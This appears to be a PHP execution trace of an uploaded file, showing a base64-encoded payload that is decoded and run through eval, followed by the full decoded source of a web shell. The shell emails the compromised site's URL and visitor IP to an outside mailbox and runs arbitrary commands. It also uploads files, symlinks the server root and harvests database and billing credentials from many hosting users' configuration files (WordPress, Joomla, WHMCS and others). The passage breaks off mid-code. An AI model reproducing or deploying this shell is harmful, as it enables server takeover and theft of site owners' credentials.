Regular\r\n\$info = '-';\r\n} elseif ((\$perms & 0x6000) == 0x6000) {\r\n// Block special\r\n\$info = 'b';\r\n} elseif ((\$perms & 0x4000) == 0x4000) {\r\n// Directory\r\n\$info = 'd';\r\n} elseif ((\$perms & 0x2000) == 0x2000) {\r\n// Character special\r\n\$info = 'c';\r\n} elseif ((\$perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n\$info = 'p';\r\n} else {\r\n// Unknown\r\n\$info = 'u';\r\n}\r\n\r\n// Owner\r\n\$info .= ((\$perms & 0x0100) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0080) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0040) ?\r\n((\$perms & 0x0800) ? 's' : 'x' ) :\r\n((\$perms & 0x0800) ? 'S' : '-'));\r\n\r\n// Group\r\n\$info .= ((\$perms & 0x0020) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0010) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0008) ?\r\n((\$perms & 0x0400) ? 's' : 'x' ) :\r\n((\$perms & 0x0400) ? 'S' : '-'));\r\n\r\n// World\r\n\$info .= ((\$perms & 0x0004) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0002) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0001) ?\r\n((\$perms & 0x0200) ? 't' : 'x' ) :\r\n((\$perms & 0x0200) ? 'T' : '-'));\r\n\r\nreturn \$info;\r\n}");
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:21:07.289809]
1 0 1 0.000155 393512
1 3 0 0.000347 448792 {main} 1 /var/www/html/uploads/titit.php 0 0
1 A /var/www/html/uploads/titit.php 88 $code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2 4 0 0.000425 448792 base64_decode 0 /var/www/html/uploads/titit.php 89 1 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2 4 1 0.000606 502072
2 4 R '@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\n'
2 5 0 0.001625 707568 eval 1 '@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n\r\n//function\r\nfunction ambilKata($param, $kata1, $kata2){\r\n if(strpos($param, $kata1) === FALSE) return FALSE;\r\n if(strpos($param, $kata2) === FALSE) return FALSE;\r\n $start = strpos($param, $kata1) + strlen($kata1);\r\n $end = strpos($param, $kata2, $start);\r\n $return = substr($param, $start, $end - $start);\r\n return $return;\r\n}\r\nif(get_magic_quotes_gpc()) {\r\n function idx_ss($array) {\r\nreturn is_array($array) ? array_map(\'idx_ss\', $array) : stripslashes($array);\r\n }\r\n $_POST = idx_ss($_POST);\r\n}\r\n\r\nfunction exe($cmd) {\r\n if(function_exists(\'system\')) { \r\n@ob_start(); \r\n@system($cmd); \r\n$buff = @ob_get_contents(); \r\n@ob_end_clean(); \r\nreturn $buff; \r\n } elseif(function_exists(\'exec\')) { \r\n@exec($cmd,$results); \r\n$buff = ""; \r\nforeach($results as $result) { \r\n $buff .= $result; \r\n} return $buff; \r\n } elseif(function_exists(\'passthru\')) { \r\n@ob_start(); \r\n@passthru($cmd); \r\n$buff = @ob_get_contents(); \r\n@ob_end_clean(); \r\nreturn $buff; \r\n } elseif(function_exists(\'shell_exec\')) { \r\n$buff = @shell_exec($cmd); \r\nreturn $buff; \r\n }\r\n}\r\n\r\n//check dir\r\n$nick = "k0v3T";\r\nif(isset($_GET[\'path\'])){\r\n$path = $_GET[\'path\'];\r\n}else{\r\n$path = getcwd();\r\n}\r\n$software = getenv("SERVER_SOFTWARE");\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\n\r\n\r\n////////////////////////////////////////\r\n\r\nif(!function_exists(\'posix_getegid\')) {\r\n $user = @get_current_user();\r\n $uid = @getmyuid();\r\n $gid = @getmygid();\r\n $group = "?";\r\n} else {\r\n $uid = @posix_getpwuid(posix_geteuid());\r\n $gid = @posix_getgrgid(posix_getegid());\r\n $user = $uid[\'name\'];\r\n $uid = $uid[\'uid\'];\r\n $group = $gid[\'name\'];\r\n $gid = $gid[\'gid\'];\r\n} \r\n//uname\r\necho "<br><b><i><center><font color=#5ddcfc size=3>Current Dir : </font>";\r\nforeach($paths as $id=>$pat){\r\nif($pat == \'\' && $id == 0){\r\n$a = true;\r\necho \'<a href="?path=/">/</a>\';\r\ncontinue;\r\n}\r\nif($pat == \'\') continue;\r\necho \'<a href="?path=\';\r\nfor($i=0;$i<=$id;$i++){\r\necho "$paths[$i]";\r\nif($i != $id) echo "/";\r\n}\r\necho \'"><font color=red size=3>\'.$pat.\'</font></a>/\';\r\n}\r\n\r\n##TOOLBAR\r\necho "<hr color=#5ddcfc>\r\n<br><center>\r\n<font size=3><a href=\'?\' class=\'tombols\'>Home</a>\r\n<font size=3><a href=\'?path=$path&a=upload\' class=\'tombols\'>Upload</a>\r\n<font size=3><a href=\'?path=$path&a=cmd\' class=\'tombols\'>Command</a>\r\n<font size=3><a href=\'?path=$path&a=configv2\' class=\'tombols\'>Config</a>\r\n<font size=3><a href=\'?path=$path&a=jumping\' class=\'tombols\'>Jumping</a>\r\n<br><br>\r\n\r\n<font size=3><a href=\'?path=$path&a=symlink\' class=\'tombols\'>Symlink</a>\r\n<font size=3><a href=\'?path=$path&a=disablefunc\' class=\'tombols\'>Bypass Disable Function</a>\r\n\r\n</center></br>\r\n<hr color=#5ddcfc><center>";\r\n\r\n//uploads\r\nif($_GET[\'a\'] == \'upload\') {\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="#5ddcfc">Berhasil Upload gan!</font><br />\';\r\n}else{\r\necho \'<font color="red">Gagal Upload Gan</font><br />\';\r\n}\r\n}\r\necho \'<form enctype="multipart/form-data" method="POST"><font color="red" size="4">\r\nUpload File :<br><input type="file" name="file" />\r\n<input type="submit" value="Upload" />\r\n</form><br>\r\n</td></tr>\';\t\r\n\r\n\r\n} elseif($_GET[\'a\'] == \'configv2\') {\r\n\t\t\tif(strtolower(substr(PHP_OS, 0, 3)) == "win"){\r\necho \'<script>alert("Tidak bisa di gunakan di server windows")</script>\';\r\nexit;\r\n}\r\n\tif($_POST){\tif($_POST[\'config\'] == \'symvhosts\') {\r\n\t\t@mkdir("k0v3T_symvhosts", 0777);\r\nexe("ln -s / k0v3T_symvhosts/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symvhosts/.htaccess",$htaccess);\r\n\t\t$etc_passwd=$_POST[\'passwd\'];\r\n \r\n $etc_passwd=explode("\\n",$etc_passwd);\r\nforeach($etc_passwd as $passwd){\r\n$pawd=explode(":",$passwd);\r\n$user =$pawd[5];\r\n$jembod = preg_replace(\'/\\/var\\/www\\/vhosts\\//\', \'\', $user);\r\nif (preg_match(\'/vhosts/i\',$user)){\r\nexe("ln -s ".$user."/httpdocs/wp-config.php k0v3T_symvhosts/".$jembod."-Wordpress.txt");\r\nexe("ln -s ".$user."/httpdocs/configuration.php k0v3T_symvhosts/".$jembod."-Joomla.txt");\r\nexe("ln -s ".$user."/httpdocs/config/koneksi.php k0v3T_symvhosts/".$jembod."-Lokomedia.txt");\r\nexe("ln -s ".$user."/httpdocs/forum/config.php k0v3T_symvhosts/".$jembod."-phpBB.txt");\r\nexe("ln -s ".$user."/httpdocs/sites/default/settings.php k0v3T_symvhosts/".$jembod."-Drupal.txt");\r\nexe("ln -s ".$user."/httpdocs/config/settings.inc.php k0v3T_symvhosts/".$jembod."-PrestaShop.txt");\r\nexe("ln -s ".$user."/httpdocs/app/etc/local.xml k0v3T_symvhosts/".$jembod."-Magento.txt");\r\nexe("ln -s ".$user."/httpdocs/admin/config.php k0v3T_symvhosts/".$jembod."-OpenCart.txt");\r\nexe("ln -s ".$user."/httpdocs/application/config/database.php k0v3T_symvhosts/".$jembod."-Ellislab.txt"); \r\n}}}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@mkdir("k0v3T_symconfig", 0777);\r\n@symlink("/","k0v3T_symconfig/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symconfig/.htaccess",$htaccess);}\r\nif($_POST[\'config\'] == \'404\') {\r\n@mkdir("k0v3T_sym404", 0777);\r\n@symlink("/","k0v3T_sym404/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nIndexIgnore *.txt404\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*k0v3T_sym404 [NC]\r\nRewriteRule \\.txt$ %{REQUEST_URI}404 [L,R=302.NC]";\r\n@file_put_contents("k0v3T_sym404/.htaccess",$htaccess);\r\n}\r\nif($_POST[\'config\'] == \'grab\') {\r\n\t\t\t\t\t\tmkdir("k0v3T_configgrab", 0777);\r\n\t\t\t\t\t\t$isi_htc = "Options all\\nRequire None\\nSatisfy Any";\r\n\t\t\t\t\t\t$htc = fopen("k0v3T_configgrab/.htaccess","w");\r\n\t\t\t\t\t\tfwrite($htc, $isi_htc);\t\r\n}\r\n$passwd = $_POST[\'passwd\'];\r\n\r\npreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\r\nforeach($user_config[1] as $user_k0v3T) {\r\n$grab_config = array(\r\n"/home/$user_k0v3T/.accesshash" => "WHM-accesshash",\r\n"/home/$user_k0v3T/public_html/config/koneksi.php" => "Lokomedia",\r\n"/home/$user_k0v3T/public_html/forum/config.php" => "phpBB",\r\n"/home/$user_k0v3T/public_html/sites/default/settings.php" => "Drupal",\r\n"/home/$user_k0v3T/public_html/config/settings.inc.php" => "PrestaShop",\r\n"/home/$user_k0v3T/public_html/app/etc/local.xml" => "Magento",\r\n"/home/$user_k0v3T/public_html/admin/config.php" => "OpenCart",\r\n"/home/$user_k0v3T/public_html/application/config/database.php" => "Ellislab",\r\n"/home/$user_k0v3T/public_html/vb/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forum/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forums/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/cc/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/inc/config.php" => "MyBB",\r\n"/home/$user_k0v3T/public_html/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/shop/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/os/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/oscom/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/products/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/cart/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/inc/conf_global.php" => "IPB",\r\n"/home/$user_k0v3T/public_html/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blog/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/beta/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/portal/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/site/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/WP/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/news/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wordpress/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/demo/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/home/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v1/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v2/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/press/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/new/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blogs/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/blog/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/submitticket.php" => "^WHMCS",\r\n"/home/$user_k0v3T/public_html/cms/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/beta/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/portal/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/site/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/main/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/home/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/demo/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/test/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v1/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v2/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/joomla/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/new/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/WHMCS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs1/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHMC/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHM/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOST/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORTES/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domains/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domain/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOSTING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CART/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ORDER/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billing/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/billing/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BUY/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/MANAGE/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ClientSupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CHECKOUT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"\r\n); \r\n\r\nforeach($grab_config as $config => $nama_config) {\r\n\tif($_POST[\'config\'] == \'grab\') {\r\n$ambil_config = file_get_contents($config);\r\nif($ambil_config == \'\') {\r\n} else {\r\n$file_config = fopen("k0v3T_configgrab/$user_k0v3T-$nama_config.txt","w");\r\nfputs($file_config,$ambil_config);\r\n}\r\n}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@symlink($config,"k0v3T_Symconfig/".$user_k0v3T."-".$nama_config.".txt");\r\n}\r\nif($_POST[\'config\'] == \'404\') {\r\n$sym404=symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt");\r\nif($sym404){\r\n\t@mkdir("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404", 0777);\r\n\t$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nHeaderName k0v3T.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *";\r\n\r\n@file_put_contents("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/.htaccess",$htaccess);\r\n\r\n@symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/k0v3T.txt");\r\n\r\n\t}\r\n\r\n}\r\n\r\n } \r\n\t\t} if($_POST[\'config\'] == \'grab\') {\r\n echo "<center><a href=\'?path=$path/k0v3T_configgrab\'><font color=lime>Done</font></a></center>";\r\n\t\t}\r\n if($_POST[\'config\'] == \'404\') {\r\n echo "<center>\r\n<a href=\\"k0v3T_sym404/root/\\">SymlinkNya</a>\r\n<br><a href=\\"k0v3T_sym404/\\">Configurations</a></center>";\r\n }\r\n if($_POST[\'config\'] == \'symlink\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symconfig/root/\\">Symlinknya</a>\r\n<br><a href=\\"k0v3T_symconfig/\\">Configurations</a></center>";\r\n\t\t\t}if($_POST[\'config\'] == \'symvhost\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symvhost/root/\\">Root Server</a>\r\n<br><a 